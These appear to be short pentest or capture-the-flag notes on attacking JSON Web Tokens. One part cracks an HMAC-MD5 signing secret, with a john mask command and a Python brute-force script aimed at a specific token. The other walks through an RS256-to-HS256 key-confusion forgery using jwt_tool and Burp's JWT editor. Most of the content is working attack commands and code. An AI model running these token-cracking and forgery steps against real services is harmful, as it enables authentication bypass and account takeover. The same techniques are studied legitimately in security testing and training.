JWT

MD5_HMAC

• Easy way

john --mask=fsrwjcfszeg?l?l?l?l?l --format=HMAC-MD5 jwt.txt 

• Hard way

import base64
import hashlib
import hmac
import json

def remove_padding(encoded_string):
    return encoded_string.rstrip("=")


def jwt_creator(secret_key):
        encoded_header = 'eyJhbGciOiJNRDVfSE1BQyJ9'
        encoded_payload = 'eyJ1c2VybmFtZSI6InMifQ'

        encoded_token = encoded_header + "." + encoded_payload

        signature = hmac.new(secret_key.encode("utf-8"), encoded_token.encode("utf-8"), hashlib.md5).digest()
        encoded_signature = remove_padding(base64.urlsafe_b64encode(signature).decode("utf-8"))

        jwt_token = encoded_token + "." + encoded_signature

        return jwt_token

original_jwt = 'eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6InMifQ.49BQc1Pj96LW8tUhAHXzYA'

permutations_file = 'permutations.txt'
secret_found = None


### Code to generate the permutations ###
#import itertools
#characters = 'abcdefghijklmnopqrstuvwxyz'
#permutations = itertools.product(characters, 5)

#with open('permutations.txt', 'w') as file:
#    for perm in permutations:
#        line = 'fsrwjcfszeg' + ''.join(perm) + '\n'
#        file.write(line)
##########################################
with open(permutations_file, 'r') as f:
    for line in f:
        secret_key = line.strip()
        token = jwt_creator(secret_key)
        print(token)
        if token == original_jwt:
            secret_found = secret_key
            break

if secret_found:
    print("Found secret: " + secret_found)
else:
    print("No matching secret found.")

Key Confusion attack

Jwt-tool.py

Generate a public key.

python3 jwt_tool.py JWT_TOKEN -X k -jw jwks.json -V
# OR
python3 jwt_tool.py JWT_TOKEN -X k -pk public.pem -V

Base64 encode the public key

cat kid_0_1694791448.pem | base64 -w 0 | c

Now generate a new symmetric key using burpsuite jwt editor

Now click on sign and select the new generated symmetric key

Finally change the algorithm in the alg header to HS256 and change the body to your needs

References:

• https://portswigger.net/web-security/jwt/algorithm-confusion
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431